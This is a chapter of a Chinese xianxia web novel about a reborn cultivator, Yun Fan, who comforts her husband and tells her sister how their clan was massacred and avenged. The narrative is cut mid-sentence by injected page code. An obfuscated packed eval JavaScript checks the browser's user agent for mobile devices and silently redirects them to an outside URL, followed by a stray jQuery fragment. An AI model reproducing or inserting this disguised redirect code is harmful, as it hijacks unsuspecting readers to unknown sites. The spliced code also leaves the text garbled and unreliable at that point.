欲言又止的不止他,还有罗玢。
她也意识到云繁今夜的麻烦全是罗宝带来的,可云繁还是出手救了她。
罗玢心中既羞愧又感激,发现自己除了能给云繁磕几个头就没什么能做的,更是头都抬不起来。
云繁看她一眼,淡淡道:“罗珠在云家过得不错。”
留下这句话,云繁牵着温璟就要离开。
温璟没动,迎上云繁疑惑的目光,他弱弱道:“花灯还没拿……”
云繁弯唇,对他一如既往地温柔:“阿璟等我,我去拿。”
拿回花灯,两人一路沉默着回到客栈。
吩咐店小二打来热水,云繁关上门,走到屏风后开始脱衣服。
温璟犹豫片刻,在云繁入水后,缓步走到浴桶边。
云繁抬眸看他,神情温和:“可是要一起?”
温璟没忍住眼眶一红,点点头。
一进入水中,他就往云繁身上贴。
云繁搂住他的腰,柔声问:“怎么哭了?”
温璟捧住她的脸,嗓音微哑:“妇主是不是生我气了?”
云繁一愣:“阿璟为何这么问?”
温璟眸中泪光闪烁:“陆淮是因为罗宝才找到我们的,而罗宝,是我要救的。”
“如果不是我要救他,妇主不会被他纠缠,我们不会暴露行踪,陆淮不会有机会……羞辱妇主。”
抬手摩挲他泛红湿润的眼尾,云繁安抚道:“阿璟不要多想,我没有生阿璟的气,错不在你。”
温璟垂泪,所以妇主真的被陆淮影响到情绪了……
云繁吻去他脸上的泪,声音轻柔:“阿璟可会怪我无用?”
听到这话,温璟心都要碎了,一边流泪一边摇头:“妇主很厉害,比所有人都厉害,妇主不要说这种话……”
他的妇主心性坚韧,不能因为他的错,不能因为陆淮的坏,产生这种自我怀疑的想法。
他道:“是我不好,是我不该乱发善心,是我给妇主带来麻烦,是我无用,是我什么也帮不上妇主。”
看着有些崩溃的少男,云繁眼底划过一抹复杂难辨的情绪,伸手压下他的头,用唇堵住他的唇。
一吻结束,温璟情绪稍缓,只是漂亮的眼睛仍在泪流不止。
云繁神色柔和,温声哄他:“好阿璟,别哭了,再哭下去,妇主真不知道该如何是好了。”
温璟抚摸她的脸颊,神情痛苦:“若我能有用些,能帮到妇主就好了。”
云繁握住他的手,轻吻他的掌心:“我不需要阿璟帮我,我只需要阿璟好好待在我身边。”
……
看着睡梦中仍锁着眉头的温璟,云繁在床边静立良久,眼神晦涩不明。
上一世,温璟的身份还是陆家养子时,她与他只接触过三次,第一次是与他拜堂成婚,第二次是撞见他受人虐待,第三次,是她即将前往澄灵秘境的前一夜,他主动找她。
与这一世不一样,上一世,云繁是答应江青云娶江许的,她会为了资源娶温璟,自然也会为了资源娶江许。
当时温璟应是听说了什么,才会在那夜主动去找她。
没人虐待,他的腿伤已好的差不多,进入云繁房间,他没吵没闹,只小心翼翼靠近云繁,红着脸说自己是来服侍她的。
云繁当时一心只有修炼,对男色毫无兴趣,神色冷漠地拒绝了他。
只是看着他强装镇定的模样,多说了句:“正夫的位置只会是你的。”
她知道当时的温璟并不喜欢她,只是想讨好她,希望她能让他在云家好过一些。
她不反感这样的行为,甚至在第二天又给他多安排了两个仆人。
只是这些仆人都是下等家仆,没什么修为,与他一起死在她从澄灵秘境回来的前一天。
门外响起轻微的脚步声,云繁收起思绪,转身出了门。
刚跃上客栈房顶,她就被云晏抓住肩膀前后摇晃,差点晃出残影。
云晏一字一顿:“我!还!是!好!气!为!什!么!不!让!我!杀!了!他!”
云繁等她发泄完,才平静道:“还不是时候。”
云晏阴着脸:“告诉我你瞒了我什么,不然我现在就去杀了他。”
云繁寻了个位置坐下:“知道了对你没好处。”
云晏语气坚定:“我要知道。”
云繁抬头凝望夜空:“温璟是历劫的月华剑尊。”
云晏一怔,没想到她真说了:“……你怎么知道?”
云繁:“我重生了。”
云晏又是一怔,好一会儿,她坐到云繁身边,语气复杂:“你怎么死的?”
云繁:“学艺不精,被传送阵绞死的。”
云晏干巴巴道:“……好惨。”
一阵静默后,她问:“我怎么死的……”
云繁正要开口,她又急忙开口:“等一下等一下……让我先稳稳道心”
云晏现在已经大概明白云繁不将此事告诉她的原因了,若云繁重生前她好好活着,以云繁的性子,就算不主动告诉她这件事,在她问后也会告诉她发生了什么事。
云繁不愿意告诉她,只会是她在云繁重生前死了,可能死的还挺惨。
云繁看她一眼,道:“你可以选择不再追问。”
云晏:“不行,不问下去,我会往更坏了想,也会影响道心。”
她呼出一口长气,道:“好了,你说吧。”
云繁垂眸,默了默,平淡道:“被砍断四肢头颅。”
云晏:“……听完感觉心脏一下子平缓了,好舒服。”
云繁扯扯嘴角:“那是死了。”
上一世从澄灵秘境出来得知温璟死后,云繁除了有点懵,就是有点可惜,因为温璟那双眼睛,真的很漂亮。
将人好好安葬,云繁继续沉迷修炼无法自拔,却在温璟死后第五日,莫名得了一颗极品洗髓丹。
洗髓丹可除杂质,净肉身,生灵根。
品级越高生出灵根的概率越高,极品洗髓丹,至少可以让单灵根的人再生出两种属性的灵根,相当于重塑肉身,脱胎换骨。
云繁一开始都没认出来那是什么灵丹,还是见它灵气浓郁,拿去问云家主才知道。
云家主让她不要声张,寻了一个极其隐蔽的地方让她安心重塑肉身。
重塑肉身很痛,比她以往受过的任何伤都痛,好几次她以为她要被活活痛死,又都咬牙坚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531153|202456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
持下来。
度过宛如被剥皮拆骨的两个月,云繁惊喜地发现,她的灵根从下品单灵根变成了上品五灵根。
她开心得不知如何是好,满怀希望地奔回云家。
见到的却是血色湖水,满地残肢。
云繁不知道怎么形容那时的心情,可能是迷茫,惊慌,不安。
她好像想了很多,又好像什么都没想。
直到一道微弱的声音响起,她血红的眸子才渐渐聚起一点光,疯了一样去找那道声音的来源,最后在几具尸体下面找到奄奄一息的云熙。
云熙双腿被砍,胸前有个血色窟窿,脸上挂着血泪,用尽全身力气道:“……七姐……是仙境……霍家,报仇……七姐……报仇……”
颤抖着手喂她疗愈丹,云繁语气哽咽:“嗯……报仇,我们一起、给她们报仇。”
拦住云繁的手,云熙颤声:“……七姐留着。”
她忍着痛,从胸前的血色窟窿中拿出一盏琉璃小灯:“这个……七姐拿着……”
云繁认识这盏小灯,是云熙的外祖母送她的,可以用来续命。
云繁想将小灯推回去,又怕弄疼云熙,只低声恳求道:“熙熙,放回去,七姐求你……你放回去……”
云熙的手缓缓放下,小灯从她手里掉落:“七姐……如果有下一世、我还要当云家人……还要当……你们的妹妹……”
夜风微凉,吹红了云晏的眼眶,她闭了闭眼,道:“倒也不必说得如此详细。”
云繁毫不留情:“你不是想知道吗?”
还学着她的语气道:“我要知道。”
云晏:“……”
她能屈能伸:“对不起,我错了。”
她转移话题:“你接下来要做什么?我全力配合你。”
云繁起身,拍拍衣摆:“让陆家人知道没人在暗处保护你。”
云晏:“遵命,云繁大人!”
云繁正要跃下房顶,又听她道:“辛苦了。”
声音很快被夜风吹散,云晏抬手捂住双眼。
那条复仇的路,她的妹妹一定走得很辛苦。
云繁顿了一下,道:“霍家人比你们死得更惨。”
这是一个弱肉强食的世界,方家因为弱小被云家灭族,云家也会因为弱小被更强的家族灭族,规则如此,云繁不怪规则,也不觉得霍家有错。
她只有满腔恨意。
她好不容易熬过那两个月,满心以为她终于可以不再拖累云霄她们,终于可以和她们真正并肩,可接下来的路,只有她一个人走。
她再也没有家人,再也没有同伴。
她怎能不恨?
恨意支撑着她报完了仇。
也还好她报完了仇,不然重生回来,她在她们面前都抬不起头。
……
云繁回到房间时,温璟醒着,看见她回来,涣散的眼神慢慢凝出情绪:“妇主……”
云繁关上门走到他身边:“怎么醒了?”
温璟搂住她的腰,将脸埋在她胸口,哑声道:“做噩梦了。”
云繁摸摸他的头:“别怕,我在。”
温璟将她的腰搂得更紧:“我梦见妇主不要我了……”